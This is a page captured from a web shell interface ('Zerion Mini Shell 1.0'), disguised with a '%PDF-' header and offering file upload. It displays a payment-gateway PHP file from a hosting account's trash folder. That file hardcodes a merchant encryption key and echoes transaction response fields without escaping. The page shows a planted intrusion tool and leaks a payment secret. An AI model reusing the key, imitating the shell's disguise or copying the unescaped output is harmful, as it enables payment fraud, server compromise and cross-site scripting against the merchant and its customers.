%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/ugotscom/.trash/backwater/payment/
Upload File :
Create Path :
Current File : /home/ugotscom/.trash/backwater/payment/meTrnSuccess.php

<?php
	/**
	 * This Is the Kit File To Be included For Transaction Request/Response
	 */
	include 'AWLMEAPI.php';
	
	//create an Object of the above included class
	$obj = new AWLMEAPI();
	
	/* This is the response Object */
	$resMsgDTO = new ResMsgDTO();

	/* This is the request Object */
	$reqMsgDTO = new ReqMsgDTO();
	
	//This is the Merchant Key that is used for decryption also
	$enc_key = "df58d8ce4f9ce8a7865fa7b08e13f2e5";
	
	/* Get the Response from the WorldLine */
	$responseMerchant = $_REQUEST['merchantResponse'];
	
	$response = $obj->parseTrnResMsg( $responseMerchant , $enc_key );
?>
<style>
	body{
	font-family:Verdana, sans-serif	;
	font-size::12px;
	}
	.wrapper{
	width:980px;
	margin:0 auto;	
	}
	table{

	}
	tr{
		padding:5px
	}
	td{
	padding:5px;	
	}
	input{
	padding:5px;	
}
</style>
<form action="testTxnStatus.php" method="POST" >
<center> <H3>Transaction Status </H3></center>
	<table>
		<tr><!-- PG transaction reference number-->
			<td><label for="txnRefNo">Transaction Ref No. :</label></td>
			<td><?php echo $response->getPgMeTrnRefNo();?></td>
			<!-- Merchant order number-->
			<td><label for="orderId">Order No. :</label></td>
			<td><?php echo $response->getOrderId();?> </td>
			<!-- Transaction amount-->
			<td><label for="amount">Amount :</label></td>
			<td><?php echo $response->getTrnAmt();?></td>
		</tr>
		<tr><!-- Transaction status code-->
			<td><label for="statusCode">Status Code :</label></td>
			<td><?php echo $response->getStatusCode();?></td>
			
			<!-- Transaction status description-->
			<td><label for="statusDesc">Status Desc :</label></td>
			<td><?php echo $response->getStatusDesc();?></td>
			
			<!-- Transaction date time-->
			<td><label for="txnReqDate">Transaction Request Date :</label></td>
			<td><?php echo $response->getTrnReqDate();?></td>
		</tr>
		<tr>
			<!-- Transaction response code-->
			<td><label for="responseCode">Response Code :</label></td>
			<td><?php echo $response->getResponseCode();?></td>
			
			<!-- Bank reference number-->
			<td><label for="statusDesc">RRN :</label></td>
			<td><?php echo $response->getRrn();?></td>
			<!-- Authzcode-->
			<td><label for="authZStatus">AuthZCode :</label></td>	
			<td><?php echo $response->getAuthZCode();?></td>
		</tr>
		<tr>	<!-- Additional fields for merchant use-->
			<td><label for="addField1">Add Field 1 :</label></td>
			<td><?php echo $response->getAddField1();?></td>

			<td><label for="addField2">Add Field 2 :</label></td>
			<td><?php echo $response->getAddField2();?></td>
			
			<td><label for="addField3">Add Field 3 :</label></td>
			<td><?php echo $response->getAddField3();?></td>
		</tr>
		<tr>	
				<td><label for="addField4">Add Field 4 :</label></td>
				<td><?php echo $response->getAddField4();?></td>
				
				<td><label for="addField5">Add Field 5 :</label></td>
				<td><?php echo $response->getAddField5();?></td>
				
				<td><label for="addField6">Add Field 6 :</label></td>
				<td><?php echo $response->getAddField6();?></td>	
			</tr>
			<tr>	
				<td><label for="addField7">Add Field 7 :</label></td>
				<td><?php echo $response->getAddField7();?></td>
				
				<td><label for="addField8">Add Field 8 :</label></td>
				<td><?php echo $response->getAddField8();?></td>
			</tr>
	
	</table>
</form>

Zerion Mini Shell 1.0